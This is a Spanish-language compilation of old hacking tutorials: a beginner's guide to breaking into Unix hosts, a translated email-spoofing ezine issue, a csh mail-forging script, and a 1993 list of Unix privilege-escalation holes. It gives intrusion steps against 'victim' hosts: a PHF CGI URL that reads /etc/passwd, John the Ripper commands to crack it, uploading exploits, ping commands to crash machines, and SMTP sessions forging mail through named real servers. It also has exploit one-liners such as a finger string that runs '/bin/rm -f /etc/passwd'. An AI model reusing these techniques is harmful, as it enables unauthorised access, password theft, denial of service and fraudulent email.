Manual Hacker (Basico)

 

**                                        **

**         HACK BASICO by \Wend|g0        **

**                  ½                   **

**                                        **

********************************************

 

Antes de nada k nadie me confunda con el wendigo perteneciente al SHE. En principio este texto es para gente k komo yo les gusta este ambiente pero no saben mucho y nadie les ayuda en su aprendizaje. No confundir novato kon lamer k es muy diferente. Aki no kiero dar clases a nadie ya k la mayoria sabe mas k yo. Lo k pienso es k ha mucha gente k empieza no le vendra mal y se hará una idea de como empezar. Usea, k si ya sabes algo pierdes el tiempo leyendolo. XDDDD.

Para poder entrar en un sistema debeis recopilar toda la informacion posible acerca de el. Version de sistema, version de sendmail (esta se saca haciendo un telnet al puerto del sendmail k es el 25), etc… Asi sabremos k bug ( fallo de sistema ) explotar.

Para empezar voy a explicar los puertos. Existen numerosos puertos por lo k entrar o interactuar con un host.

Para k te kede klaro uno de los puertos k mas has utilizado es el 80, k es el puerto HTTP (hiper text transfer protocol).

El FTP tambien tiene el suyo propio, el 21. Bueno, kizas el k mas uses a partir de ahora sea el 23 (TELNET).

Aki va una lista de los puertos mas comunes pa utilizar.

 

discard                  9

netstat                 15

chargen                 19

ftp                     21

telnet                  23

smtp  (sendmail)        25

rlp                     39

bootp                   67

fingerk                 79

http                    80 / 8080

military http           80 / 8080 / 5580

link                    87

pop3                   110

identd                 113

nntp                   119

newsk                  144

execk                  512

login                  513

pkill                  515

ktalk                  517

ntalk                  518

netwall                533

rmontior               560

montior                561

kerberos               750

 

Bueno, y despues de esto diras… ¿y ahora k narices hago?

Pues komo no es necesario explicarte, supongo k konoceras el tema del /etc/passwd ¿no?, pues eso, si lo puedes pillar y por ftp anonimo hazlo aunke no creo k sea verdadero, es decir, muy gilipoyas tendria k ser el ROOT. Revisa la version de sendmail

y busca por tu disco duro algun exploit k funcione, ves a URL´s komo www.rootshell.com o raregazz.islatortuga.com/utiles.htm

y rebusca hasta pillar alguno. Usa cuentas por defecto, haz “surfeo” o cualkier otra cosa. Lo k se te pueda okurrir…

Tambien puedes intentar algo muy sencillo k es el PHF. Muchos host no tienen este bug pero te asombrarias de la can-

tidad de administradores penosos k ahi. Ademas, intentalo siempre, no vaya a ser k funcione XDDD.

Abre tu navegador habitual y escribe:

http://aki pon el nombre o IP de tu host victima/cgi-bin/phf?Query=x%0acat%20/etc/passwd

Con este bug tu puedes usar comandos del UNIX desde tu navegador mismo. ¿increible, no?

Pero me diras… Y k komandos puedo usar?

Pues de momento aprendete los basicos. Al lado esta la ekivalencia kon los del DOS

dir = ls (-a)archivos okultos

ver = uname -a (version del sistema)

cat = type

cd = cd

cls = clear

 

Estos komo minimo debes saberlos YA MISMO.

Sigamos kon la tecnica phf. Si te fijas despues de la letra “a” viene el comando cat. Ahi es donde nosotros debemos empezar a poner nuestras ordenes deseadas. Pero…  ¿Y los espacios? ¿komo los dejamos? Ajaja amigo … Los espacios los debes poner komo %20 ¿lo ves mas claro ahora? Ademas puedes usar modificadores pero ten encuenta siempre estos espacios.

Despues de tener el ficherito crakealo. Pero… ¿komo se utiliza un crackeador?

Yo lo uso de dos maneras simples ya k tampoko necesito mucho mas. La primera es usando diccionarios de palabras k te puedes bajar de ftp´s o incluso buscar en el Yahoo me han dicho. La segunda es crakearlo a lo bestia usando todas las posibles combinaciones de palabras. Esto yo lo hago en casos extremos ya k es un proceso inacabable. Os recomiendo para crackear el uso de John the Riper k por cierto lo podeis pillar en mi web http://www.geocities.com/Athens/Olympus/1369.

Los comandos son los siguientes:

Para usar diccionarios escribe john -rules -pwfile:<nombre del fichero> -wordfile:<nombre del diccionario>

“    “    modo bestia               “    john -des -incremental -pwfile:<nombre del fichero>

Si kieres contactar conmigo para algo mi email es wendigo13@hotmail.com. Si krees k he dicho alguna burrada o algo esta mal comunicamelo.

**                                        **

**         HACK BASICO by \Wend|g0        **

**                  2/2                   **

**                                        **

********************************************

 

 

Bueno kolega, ya tienes el ficherito famoso, ¿no?. No me apetece explicarte k se divide en tantas partes, k la primera es el login, la segunda el passw…  SUPONGO K YA LO SABES. Sino pillate docs en los k se explica continuamente

Y ahora… ¿k hago?. Supongo k habras pillao la version de sistema y de sendmail, ¿no? pues entonces ¡¡¡ Hazlo !!!

¿k no sabes? ¿?¿??¿¿?¿

Escribe en el sistema esto: ( en un unix, no en ms-dos XDDDD )

# uname -a

Sencillo, ¿no? Esto te dará la version del SO donde estas metido de “strangis”. Yastá, ahora un exploit k sirva pa este sistema y usalo. Para usarlos debes subirlos al ordenata k intentas atakar. Yo uso el Wf_ftp pero si no tienes ninguno

incluso puedes usar el k viene con win95.  ¿¿¿¿ Viene uno con WIN95 ???? Pues si. Escribe ftp en alguna ventana ms-dos

y se te cambiará el prompt a ftp>

Luego escribes open host_a_hackear y listo. Asegurate k el exploit k vas a subir esté en el mismo directorio donde

ejecutas el ftp. Aki va una lista de las ordenes del ftp para poder usarlo sin problemas …

!               delete          literal         prompt          send

?               debug           ls              put             status

append          dir             mdelete         pwd             trace

ascii           disconnect      mdir            quit            type

bell            get             mget            quote           user

binary          glob            mkdir           recv            verbose

bye             hash            mls             remotehelp

cd              help            mput            rename

close           lcd             open            rmdir

 

No te voy a explicar pa k sirve cada uno ya k hay algunos k ni lo se. Ante todo sinceridad XDDDD.

Para salir del ftp> escribe Bye y listo y para subir un exploit u lo k kieras put nombre_del_fichero.

Ufff… Esto kansa bastante, en serio. Personalmente prefiero leer k escribir :). Mas programillas k existen el el directorio WinDowS(sistema operativo muy inestable) y k pueden o no ser de utilidad…

TRACERT.EXE Va “trazando” todos los hosts desde el tuyo hasta el ekipo al k

konectas. Pruebalo, es interesante.

PING.EXE    Ni k decir tiene pa k sirve. Usado con fines maleficos puede tirar mucha mas peña de la k os creeis.

Ahi van algunos pings, no se si funcionan todos ya k no los he probao. Me los pasaron el otro dia.

 

ping -l 65510                    Bloquea WIN95

ping -s 1 -f                     Tira equipos IBM

ping -s ip-del-lamer 1024

Todos no funcionan en windows… 🙂

NBTSTAT.EXE Jejeje, esta es una de las maneras mas fáciles de meterte en el ordenador de alguien, en serio. Ir probando a ver

k konseguis y en el proximo numero os explicaré como meterte en el ordenata de alguien y dejarlo “acojonao”.

Funciona kuando alguien tiene alguna carpeta compartida o mejor aun un disko duro. Ahi es donde entraria la

“ingenieria social”. Escribe nbtstat -A ip_del_lamer y edita el archivo hosts.sam poniendo su IP.

ARP.EXE     Otra utilidad pa probar XDDD.

Bueeeeeeno, a lo k ibamos… ¿komo se compila un puñetero exploit ya dentro del UNIX.victima.es?

Debes usar el gcc y el cc. A menudo te pone en los exploits la orden pa compilarlo correctamente.

 

GUIA DEL HACKING (casi) INOFENSIVO

Vol. 1 Numero 2

En este numero aprendemos a como falsear email—y como pillar falsificaciones.

Prometo, que este truco es espectacularmente facil!

 

Hacking heroico en media hora.

Que te pareceria acojonar totalmente a tus colegas? Bien, que es lo que mas comunmente

oido acerca de lo que hacen los super hackers?

Es el pillar acceso no autorizado a un ordenador, no?

Asi que, que te pareceria ser capaz de pillar acceso y ejecutar un programa en casi

cualquiera de los millones de ordenadores conectados en Internet? Que te pareceria

acceder a estos ordenadores de la misma forma que el hacker mas notorio de la historia:

Robert Morris!

Fue su “Morris Worm” el que hizo caer Internet en 1990. Por supuesto, la debilidad que

exploto para llenar un 10% de los ordenadores de Internet con su self-mailing virus ha

sido arreglada ya—en la mayoria de hosts de Internet.

Pero esa misma caracteristica de Internet tiene aun mucha diversion y juegos y bugs

presentes. De hecho, lo que estamos a punto de aprender es el primer paso de varios de

los muchos metodos que los hackers usan para irrumpir en areas privadas de ordenadores

insospechados.

Pero yo no te voy a ense¤ar a irrumpir en partes privadas de un ordenador. Suena bastante

mal. Ademas, soy alergico a la carcel.

Asi que lo que lo que vas a aprender ahora es legal, inocuo, y muy diverido. Nada de

esconderse y hacer juramentos de sangre entre los colegas que seran testigos de tus actos.

Pero—para realizar este “hack”, necesitas de un servivio on-line que te permita hacer

telnet a un puerto especifico de un host de Internet. Netcom, por ejemplo, te permitira

hacer esto.

Pero Compuserve, America Online y muchos otros proveedores de servicios Internet son ni¤eras

tan buenas que te refugiaran de esta tentacion.

Pero la mejor manera de hacer esto es con una CUENTA SHELL! Si todavia no tienes una, hazte

con ella ahora!

 

Nota para novatos #1: Una cuenta shell es una cuenta de Internet que te permite ejecutar

comandos Unix. Unix se parece mucho a DOS. Aparece un prompt en tu pantalla y tecleas comandos.

Unix es el lenguaje de Internet. Si quieres ser un hacker de verdad, tienes que aprender Unix.

 

Incluso si nunca antes habias hecho Telnet, este “hack” es super simple. De hecho, aunque

lo que estas a punto de aprender parecera como hacking de la clase mas heroica, puedes

hacerte cn el en media hora—o menos. Y solo necesitas memorizar dos comandos.

Para ver si tu proveedor te permitira realizar esto, prueba con este comando:

telnet callisto.unm.edu 25

Eso es un ordenador en la Universidad de Nuevo Mexico. Mi cuenta de Compuserve echa humo

cuando intento eso. Simplemente se viene abajo el cliente Telnet sin mas como un “tsk, tsk.”

Pero al menos hoy Netcom me permitira ejecutar ese comando. Y simplemente cualquier “cuenta

shell” barata ofrecida por un proveedor de Internet te permitira hacerlo. Muchas cuentas en

universidades te permitiran llevarlo a cabo tambien.

 

Nota para novatos #2: Como pillar cuentas shell

Prueba en las paginas amarillas. Busca en Internet. Llama y pide una cuenta shell.

Normalmente diran, “Seguro, esta hecho.” Pero muchas veces estan mintiendo. Piensan que eres

muy estupido para saber lo que es un cuenta shell real. O la persona mal pagada con la que

hablas no tiene ni idea.

La solucion a esto es pedir una cuenta gratis “guest” temporal. Cualquier proveedor que

merezca la pena te dara un periodo de pruebas. Entonces prueba el “hack” de hoy.

 

Bien, asumamos que tienes una cuenta que te permite hacer Telnet a algun sitio serio. Asi

que volvamos a este comando:

telnet callisto.unm.edu 25

Si alguna vez habias hecho Telnet antes, probablemente habrias puesto el nombre del

ordenador  que tuvieses plaeado visitar, pero no a¤adias ningun numero despues. Pero esos

numeros de detras son los que hacen la primera distincion entre el buen, aburrido ciudadano

de Internet y alguien demostrando su habilidad por la resbaladiza ladera del hackering.

Lo que ese 25 significa es que estas diciendo al cliente Telnet que te lleve a un puerto

especifico de tu planeada victima, ehhh, ordenador.

 

Nota para novatos #3: Puertos

Un puerto de un ordenador es un sitio en el que la informacion entra o sale del mismo.

En tu ordenador personal, ejemplos de puertos pueden ser tu monitor, que envia informacion

al exterior, tu teclado y raton, que envian informacion dentro, y tu modem, que envia

informacion tanto al exterior como adentro.

Pero un ordenador host de Internet tal como callisto.unm.edu tiene muchos mas puertos

que un  tipico ordenador personal. Estos puertos se identifican mediante numeros. Ahora,

estos puertos no son todos fisicos, como un teclado o un puerto serie RS232 (para el modem).

Son puertos virtuales (software).

 

Pero hay diversion en ese puerto 25. Diversion increible. Mira, cuandoquiera que hagas

Telnet al puerto 25 de un ordenador, veras uno de dos resultados: unas veces, un mensaje

diciendo “access denied” cuando das con un firewall (cortafuegos). Pero, mas a menudo, veras

algo como esto:

Trying 129.24.96.10…

Connected to callisto.unm.edu.

Escape character is ‘^]’.

220 callisto.unm.edu Smail3.1.28.1 #41 ready at Fri, 12 Jul 96 12:17 MDT

Hey, echale un vistazo a esto! No nos dijo que hiciesemos un log. Simplemente dice…ready!

Fijate que esta corriendo el Smail3.1.28.1, un programa usado para componer y mandar email.

Ohdiosmio, que es lo que hacemos ahora? Bueno, si de verdad quieres parecer sofisticado,

lo siguiente que tienes que hacer es decir a callisto.unm.edu que te diga que comandos

puedes usar. En general, cuando entras en un ordenador extra¤o, al menos uno de tres comandos

te daran informacion: “help”, “?”, o “man.”

En este caso tecleo:

help

… y esto es lo que recibo

250 The following SMTP commands are recognized:

250

250    HELO hostname              startup and give your hostname

250    MAIL FROM:<sender address>  start transaction from sender

250    RCPT TO:<recipient address>    name recipient for message

250    VRFY <address>           verify deliverability of address

250    EXPN <address>                expand mailing list address

250    DATA                          start text of mail message

250    RSET                        reset state, drop transaction

250    NOOP                              do nothing

250    DEBUG [level]              set debugging level,default 1

250    HELP                           produce this help message

250    QUIT                              close SMTP connection

250

250 The normal sequence of events in sending a message is to state the

250 sender address with a MAIL FROM command, give the recipients with

250 as many RCPT TO commands as are required (one address per command)

250 and then to specify the mail message text after the DATA command.

250 Multiple messages may be specified.  End the last one with a QUIT.

El recibir esta lista de comandos es estupendo. Te hace parecer realmente fenomeno por que

sabes como hacer que el ordenador te diga como hackearlo. Y significa que todo lo que tienes

que memorizar es “telnet <nombre del host> 25 “ y los comandos “help”. Para el resto, puedes

simplemente chequear los comandos mientras estas on-line. Asi que incluso si tu memoria es

tan mala como la mia, realmente puedes aprender y memorizar este “hack” en solo media hora.

Co¤o, quizas en medio minuto.

Bien, que hacemos con estos comandos? Si, te lo has imaginado, este es un programa de email

muy, muy primitivo. Y sabes por que puedes usarlo sin necesidad de hacer un login? Adivinas

por que fue el punto vulnerable que permitio a Robert Morris tirar abajo Internet?

El puerto 25 mueve el email de un nodo a otro a traves de Internet. Coge automaticamente email

entrante y si el email no pertenece a alguien con una direccion de email en ese ordenador, lo

manda al siguiente ordenador de la red, eventualmente para dirigir sus pasos hacia la persona

a la que pertenece el email.

Muchas veces el email ira directamente del remitente al destinatario, pero si mandas mail a

alguien que este muy lejos, o si Internet esta colapsada de trafico, el email pasara por

diferentes ordenadores.

Hay millones de ordenadores en Internet que envian mail. Y tu puedes tener acceso a casi la

mayoria de estos ordenadores sin necesidad de password! Incluso, como pronto aprenderas, es

facil hacerse con las direcciones en Internet de estos millones de ordeandores.

Algunos de estos ordenadores tienen muy buena seguridad, haciendo dificil el divertirse con

ellos. Pero otros tienen muy poca seguridad. Una de las diversiones del hacking es el explorar

estos ordenadores para encontrar uno que reuna los gustos de uno mismo.

Bien, pues ahora que estamos en el pais del Morris Worm (el virus del tio ese), que podemos hacer?

Bueno, aqui esta lo que yo hice. (Mis comandos no tienen numeros delante de ellos, mientras que

las respuestas del ordenador vienen prefijadas por numeros.)

helo santa@north.pole.org

250 callisto.unm.edu Hello santa@north.pole.org

mail from:santa@north.pole.org

250 <santa@north.pole.org> … Sender Okay

rcpt to:cmeinel@nmia.com

250 <cmeinel@nmia.com> … Recipient Okay

data

354 Enter mail, end with “.” on a line by itself

It works!!!

.

250 Mail accepted

Lo que paso aqui es me mande mail falso a mi mismo. Ahora veamos lo que recibi en mi buzon,

mostrando la cabecera completa:

Aqui esta lo que vi usando la version gratis del Eudora:

X POP3 Rcpt: cmeinel@socrates

Esta linea nos dice que X POP3 es el programa de mi proveedor que recibio mi email, y que

mi mail entrante esta manejado por el ordenador Socrates.

 

Truco de genio maligno: el mail entrante se maneja por medio del puerto 110. Intenta hacer

Telnet a ese puerto algun dia. Pero normalmnete POP, el programa que corre en el 110, no te

dara ayuda acerca de sus comandos y te echara al minuto de cometer un error.

 

Return Path: <santa@north.pole.org>

Esta linea de arriba es mi direccion falsa de correo.

                Apparently From: santa@north.pole.org

Date:          Fri, 12 Jul 96 12:18 MDT

 

Pero fijate que las lineas de la cabecera de arriba dicen “Apparently From (Aparentemente De)”

Esto es importante por que me alerta del hecho de que esto es mail falso.

Apparently To: cmeinel@nmia.com

X Status:

It works!!!

Aqui ahora hay un hecho importante. Diferentes programas lectores de mail muestran cabeceras

diferentes. Asi que lo bueno que tu mail falso sea depende en parte de que programa de mail

se use para leerlo. Aqui esta lo que Pine, un programa de email que corre en sistemas Unix,

nos muestra para el mismo email:

Return Path: <santa@north.pole.org> Received:

from callisto.unm.edu by nmia.com

with smtp

(Linux Smail3.1.28.1 #4)

id m0uemp4 000LFGC; Fri, 12 Jul 96 12:20 MDT

Esto identifica el ordenador desde el que use el programa smail. Tambien dice que version de

smail estaba usando.

Apparently From: santa@north.pole.org

Y aqui esta de nuevo el mensaje “Apparently from”. Asi que ambos Pine y Eudora muestran que es

mail falso.

Received: from santa@north.pole.org by callisto.unm.edu with smtp

(Smail3.1.28.1 #41) id m0uemnL 0000HFC; Fri, 12 Jul 96 12:18 MDT

Message Id: <m0uemnL 0000HFC@callisto.unm.edu>

Oh, oh! No solo muestra que puede ser mail falso—tiene un message ID! Esto significa que en

alguna parte de Callisto habra un log de identificadores de mensajes (message IDs) diciendo

quien ha usado el puerto 25 y el programa smail. Ya ves, siempre que alguien hace un log al

puerto 25 de ese ordenador, su direccion de mail es depositada en el log junto con ese message

ID.

                Date:          Fri, 12 Jul 96 12:18 MDT

Apparently From: santa@north.pole.com

Apparently To:      cmeinel@nmia.com

 

It works!!!

Si alguien fuera a usar este programa de email para llevar a cabo un acto ruin, ese message ID

es lo que llevaria a poner a la pasma tras sus talones. Asi que si quieres falsear email, es mas

dificil salir airoso si se lo mandas a alguien que use Pine que si lo haces a alguien que use

la version gratis de Eudora. (Puedes saber que programa de email usa una persona fijandote en

la cabecera de su email.)

Pero—los programas email en el puerto 25 de muchos hosts de Internet no estan tan bien

defendidos como callisto.unm.edu. Algunos estan mejor defendidos, y algunos ni siquiera lo estan

de ningun modo. De hecho, es posible que algunos ni siquiera guarden un log de los usuarios que

han usado el puerto 25, convirtiendolos en perfectos para falsear mail para motivos criminales.

Asi que solo por que recibas email con cabeceras de parecido perfecto no significa que sea

genuino.

 

Consejo para ir a la carcel: Si estas pensando en usar mail falso para cometer un crimen,

piensatelo de nuevo. Si estas leyendo esto no sabes lo suficiente acerca de falsear email

correctamente para eludir arrestos.

 

Aqui va un ejemplo de un programa de email diferente, sendmail. Esto te dara una idea de las

variantes del smail que usaras a lo largo de este “hack”.

Aqui esta mi comando:

telnet ns.Interlink.Net 25

El ordenador responde:

Trying 198.168.73.8…

Connected to NS.INTERLINK.NET.

Escape character is ‘^]’.

220 InterLink.NET Sendmail AIX 3.2/UCB 5.64/4.03 ready at Fri, 12 Jul 1996 15:45

Entonces le digo:

helo santa@north.pole.org

Y responde:

250 InterLink.NET Hello santa@north.pole.org (plato.nmia.com)

Oh, oh! Esta version de sendmail no es para nada tonta! Ves como pone “(plato.nmia.com)”

  • el ordenador que estaba usando para este “hack”—ahi simplemente para hacerme ver que

sabe desde que ordenador he hecho el Telnet? Pero que co¤o, todos los hosts de Internet

saben ese tipo de informacion. Simplemente voy a seguir el juego y mandar el mail falso

de todas formas. De nuevo, lo que yo pongo no tiene numeros delante, mientras que las

respuestas del ordenador estan precedidas del numero 250:

mail from:santa@north.pole.com

250 santa@north.pole.com... Sender is valid.

rcpt to:cmeinel@nmia.com

250 cmeinel@nmia.com... Recipient is valid.

data

354 Enter mail. End with the . character on a line by itself.

It works!

.

250 Ok

quit

221 InterLink.NET: closing the connection.

 

Bien, que clase de email genero ese ordenador? Esto es lo que vi usando Pine:

Return Path: <santa@north.pole.org> Received:

from InterLink.NET by nmia.com

with smtp

(Linux Smail3.1.28.1 #4)

id m0ueo7t 000LEKC; Fri, 12 Jul 96 13:43 MDT

Received: from plato.nmia.com by InterLink.NET (AIX 3.2/UCB 5.64/4.03)

id AA23900; Fri, 12 Jul 1996 15:43:20  0400

Oops. Aqui el ordenador InterLink.NET ha revelado el ordenador que use cuando hice Telnet

a su puerto 25. Sin embargo, mucha gente usa ese host de Internet.

                Date:          Fri, 12 Jul 1996 15:43:20  0400

From:         santa@north.pole.org

Message Id:          <9607121943.AA23900@InterLink.NET>

Apparently To:      cmeinel@nmia.com

 

It worked!

Bien, aqui no dice “Apparently from”, asi que ahora se que el ordenador InterLink.NET es

bastante bueno para mandar mail falso. Un experimentado aficionado al email sabria a partir

de la linea Received: que esto es mail falso. Pero su falsedad simplemente no te choca a ti.

Voy a intentar con otro ordenador. Ummmm, la Universidad de California en Berkeley es celebre

por su centro de investigacion de ordenadores. Me pregunto como seran sus hosts. Habiendo

primero buscado la direccion numerica de Internet de una de sus maquinas, doy el comando:

telnet 128.32.152.164 25

Me responde con:

Trying 128.32.152.164…

Connected to 128.32.152.164.

Escape character is ‘^]’.

220 remarque.berkeley.edu ESMTP Sendmail 8.7.3/1.31 ready at Thu, 11 Jul

1996 12

help

214 This is Sendmail version 8.7.3

214 Commands:

214     HELO    EHLO    MAIL    RCPT    DATA

214     RSET    NOOP    QUIT    HELP    VRFY

214     EXPN    VERB

214 For more info use “HELP <topic>”.

214 To report bugs in the implementation send email to

214     sendmail@CS.Berkeley.EDU.

214 For local information send email to Postmaster at your site.

214 End of HELP info

Oh, tio, un programa sendmail ligeramente diferente! Me pregunto que mas me puede decir

acerca de estos comandos.

HELP mail

214 MAIL FROM: <sender>

214     Specifies the sender.

214 End of HELP info

 

Gran puto negocio! Oh, bien, veamos lo que este ordenador (que ahora sabemos que tiene

de nombre Remarque) hara para falsear mail.

MAIL FROM:santa@north.pole.org

250 santa@north.pole.org... Sender ok

 

Heyyy… esto es interesante… No teclee “helo” y este sendmail no me dio una ostia!

Me pregunto que significara eso…

RCPT TO:cmeinel@techbroker.com

250 Recipient ok

DATA

354 Enter mail, end with “.” on a line by itself

This is fake mail on a Berkeley computer for which I do not     have a password.

.

250 MAA23472 Message accepted for delivery

quit

221 remarque.berkeley.edu closing connection

 

Ahora nos vamos al Pine y vemos como se ve la cabecera:

Return Path: <santa@north.pole.org> Received:

from nmia.com by nmia.com

with smtp

(Linux Smail3.1.28.1 #4)

id m0ueRnW 000LGiC; Thu, 11 Jul 96 13:53 MDT

Received:

from remarque.berkeley.edu by nmia.com

with smtp

(Linux Smail3.1.28.1 #4)

id m0ueRnV 000LGhC; Thu, 11 Jul 96 13:53 MDT

Apparently To: <cmeinel@techbroker.com>

Received: from merde.dis.org by remarque.berkeley.edu   (8.7.3/1.31)

id MAA23472; Thu, 11 Jul 1996 12:49:56  0700 (PDT)

 

Fijate en los tres mensajes “Received”. Mi proveedor no recibio este email directamente

de Remarque.berkeley.edu sino de merde.dis.com, que fue el que recibio el email de

Remarque.

Hey, se a quien pertenece merde.dis.com! Asi que el ordenador Berkeley mando este email

falso por el ordenador host del famoso experto en seguridad de ordenadores Pete Shipley’s!

Nota: el nombre “merde” es un chiste. Asi como “dis.org”

Ahora veamos como se ve el email de remarque. Usemos el Pine de nuevo:

                Date:          Thu, 11 Jul 1996 12:49:56  0700 (PDT)

From:         santa@north.pole.org

Message Id:          <199607111949.MAA23472@remarque.berkeley.edu>

 

Hey, esto es fantastico. No advierte que la direccion Santa es falsa! Mejor aun, mantiene

en secreto el nombre del ordenador original: plato.nmia.com. Asi remarque.berkeley.edu

era realmente un buen ordenador desde el que enviar mail falso. (Nota: la ultima vez que

comprobe, habian arreglado remarque, asi que no os molesteis en hacer Telnet alli.)

Pero no todos los programas sendmail son tan amigables hacia el mail falso. Comprueba el

email que cree desde atropos.c2.org!:

telnet atropos.c2.org 25

Trying 140.174.185.14…

Connected to atropos.c2.org.

Escape character is ‘^]’.

220 atropos.c2.org ESMTP Sendmail 8.7.4/CSUA ready at Fri, 12 Jul 1996 15:41:33

help

502 Sendmail 8.7.4 HELP not implemented

 

Mierda, estas bastante dificil hoy, no es asi… Que co¤o, sigamos adelante de todos modos…

helo santa@north.pole.org

501 Invalid domain name

 

Hey, que pasa contigo, colega? A otros programas de sendmail no les importaba una mierda que

nombre usase con “helo”. De acuerdo, de acuerdo, te dare un nombre de dominio valido. Pero

no un nombre de usuario valido!

helo satan@unm.edu

250 atropos.c2.org Hello cmeinel@plato.nmia.com [198.59.166.165], pleased

to meet you

Muuuuuuy divertido, amigo. Simplemente apuesto a que si que te alegras de verme. Por que

co¤o me pediste un nombre de dominio valido cuando sabias quien era yo de antemano?

mail from:santa@north.pole.com

250 santa@north.pole.com... Sender ok

rcpt to: cmeinel@nmia.com

250 Recipient ok

data

354 Enter mail, end with “.” on a line by itself

Oh, crap!

.

250 PAA13437 Message accepted for delivery

quit

221 atropos.c2.org closing connection

 

Bien, que clase de email genero ese peque¤o odioso programa sendmail?

Me apresuro hacia el Pine y hecho un vistazo:

Return Path: <santa@north.pole.com>

Bueno, que amable al dejarme usar mi direccion email falsa.

Received:

from atropos.c2.org by nmia.com

with smtp

(Linux Smail3.1.28.1 #4)

id m0ueqxh 000LD9C; Fri, 12 Jul 96 16:45 MDT

Apparently To: <cmeinel@nmia.com>

Received: from satan.unm.edu (cmeinel@plato.nmia.com [198.59.166.165])

Oh, que extraordinario! El ordenador atropos.c2.org no solo revelo mi verdadera identidad

, sino que incluso revelo lo de satan.unm.edu. Grrrr….eso me ense¤ara.

by atropos.c2.org (8.7.4/CSUA) with SMTP id PAA13437 for

cmeinel@nmia.com; Fri, 12

                Jul 1996 15:          44:37  0700 (PDT)

Date:          Fri, 12 Jul 1996 15:44:37  0700 (PDT)

From:         santa@north.pole.com

Message Id:          <199607122244.PAA13437@atropos.c2.org>

 

Oh, crap!

Asi que, la moraleja de este peque¤o “hack” es que hay un monton de programas de email

diferentes flotando alrededor del puerto 25 de los hosts de Internet. Asi que si quieres

divertirte con ellos, es una buena idea el comprobarlos primero antes de usarlos para

vacilar.

 

Quieres compartir material guay? Decirme que soy terrible? Flamearme? Para los

2 primeros, estoy en cmeinel@techbroker.com. Por favor dirige tus flames hacia

dev/null@techbroker.com.  Happy hacking!

Copyright 1996 Carolyn P. Meinel. You may forward the GUIDE TO (mostly)

HARMLESS HACKING Ezine as long as you leave this notice at the end. To

subscribe, email cmeinel@techbroker.com with message “subscribe hacker

<joe.blow@my.isp.net>” substituting your real email address for Joe Blow’s.

***************************************************************

 

Explicación para hackeo de correo

 

 

Antes que nada , que es para ti hackear ? Yo no lo se con exactitud , pero te puedo decir que ahora explicaremos como y porque se puede hackear un correo electronico …

Para comenzar , para poder mandar/recibir correo , la maquina receptora/mandadora de este correo debe tener corriendo un demonio administrador de mensajes , que en el caso de unix se trata del demonio del sendmail , el cual tiene muchas versiones distintas , pero trabajan en forma similar .

Todo demonio corre por algun puerto de esta maquina susodicha , y este demonio corre exactamente por la puerta 25 .

Si te conectas en forma directa por un telnet a esta puerta , podras ver que quedas suspendido dentro del demonio , lo que te permite mandar un mensaje , como lo hago ?? .

Fácil , primero debes tipear el comando helo , para que el sendmail te reconozca , y luego le mandas los datos del receptor , tipeando rcpt to:user@host.domain .

Luego , tipeas el mandante del mail asi como sigue , mail from: desde@host.domain .

Ahora , solo pones el comando DATA , y a ponerse a escribir se ha dicho !!! .

Para terminar el modo texto , solo terminas con un “.” , y luego colocas quit .

En todo caso , aquí les hago entrega del script (utilizable en unix) para poder hackear los mensajes , echo por mí modestamente =) .

Enjoy the silence !

 

 

 

————————- cut here ————————

#! /bin/csh -f

# version 1.0 by TuTo

clear

echo ‘*************************************************************************’

echo ‘* m a i l h a c k *’

echo ‘*************************************************************************’

echo ‘ ‘

echo ‘by TuTo , El gran Master . ‘

echo ‘email:tuto@zero.org ‘

echo ‘ ‘

echo -n ‘Dame el login de la persona que recibira el mail: ‘

set ulog=$<

echo -n ‘Dame el nombre de la maquina de la persona: ‘

set uhost=$<

# dejo en la variable hlog el user hacked

echo -n ‘Dame el login facked que quieres usar: ‘

set hlog=$<

# dejo en la variable hackhost el faked host

echo -n ‘Dame la faked maquina a usar en el mail: ‘

set hackhost=$<

# dejo en usehost el servidor de mails al que nos conectaremos

echo -n ‘A que host conectamos (se recomienda localhost)?: ‘

set usehost=$<

# dejo en editor el editor que usaremos para escribir el cuerpo del

# mail , default : vi

echo -n ‘Que editor vamos a usar para editar el mail(return para vi)? ‘

set editor=$<

if($editor ==””) then

set editor=vi

endif

# dejo todas nuestras variables en un archivo llamado mailhack

echo ‘HELO’ >> mailhack

echo ‘Mail from: ‘$hlog@$hackhost >> mailhack

echo ‘RCPT to: ‘$ulog@$uhost >> mailhack

echo ‘DATA’ >> mailhack

# edito el cuerpo del articulo (mhack)

$editor mhack

# limpio la pantalla y pregunto si esta’ seguro o no de mandar el mail.

clear

echo -n ‘ Are you sure ? (y/n) ‘

set yorn=$<

# si esta’ seguro (yorn=y) pone un punto y un quit en el archivo del mail

if($yorn == ‘y’) then

echo . >> mhack

echo quit >> mhack

cat mhack >> mailhack

# me conecto al port del servidor de mails y le dejo mi hackmail

telnet $usehost 25 < mailhack > /dev/null

endif

# borro mis 2 archivos de hackeo

rm mhack mailhack

 

———————- cut here ————————-

Para ver la versión texto , clickea AKI !!

Cualquier duda , consulta , sugerencia mandar mail a ZONA-X

 

 

 

#HoleList

#v1 – Wed Apr  7 13:38:08 MDT 1993

 

Operating System Description (References)

—————- ————————

BSD 4.1          mail directly to a file ()

BSD 4.1          exec sgid program, dump core, core is sgid ()

BSD 4.1          lock—compiled in password “hasta la vista” ()

BSD <4.2         IFS w/ preserve bug w/vi ()

BSD <4.2         suspend mkdir, ln file you want to dir ()

BSD 4.2          lock—compiled in password “hasta la vista” ()

BSD 4.2          ln passwd file to mail spool, mail to user file ()

BSD 4.2          can truncate read only files ()

BSD 4.2          finger “string|/bin/rm -f /etc/passwd”@foo.bar ()

BSD 4.2          ln -s target ~/.plan; finger user to read file ()

BSD 4.2          lpr file; rm file; ln -s /any/filename file ()

BSD 4.2          adb su; change check in memory; shell out ()

BSD 4.2          race condition, can get root via “at” ()

BSD 4.3          ftp -n; quote user ftp; cd ~root, get root priv ()

BSD 4.3          lpd can overwrite file ()

BSD 4.3          ln -s /any/suid/file -i ; -i        Get suid shell ()

BSD 4.3          fchown (2) can chown any file ()

BSD 4.3          race condition (expreserve?), root via “at” ()

BSD 4.3          passwd chokes on long lines, splits pw file ()

4.3 Tahoe        chfn—allows newlines, meta chars, bufsize ()

4.3 Tahoe        login ttyA&B;A:cat<ttyB;^Z;B:exit;login;A:&;B:pw/uid;A:gets pw

?                Overwrite gets buffer—fingerd, etc ()

?                uudecode alias can overwrite root/daemon files ()

?                /bin/mail ; !/bin/sh    Get uid=bin shell ()

?                rwall bug ()

?                adb the running kernel, shell out and get root ()

?                mail to any non-root owned file, try twice ()

?                rshd: spoof via nameservice—rsh target -l uid ()

SunOS 386i/4.01? login -n root (no password) ()

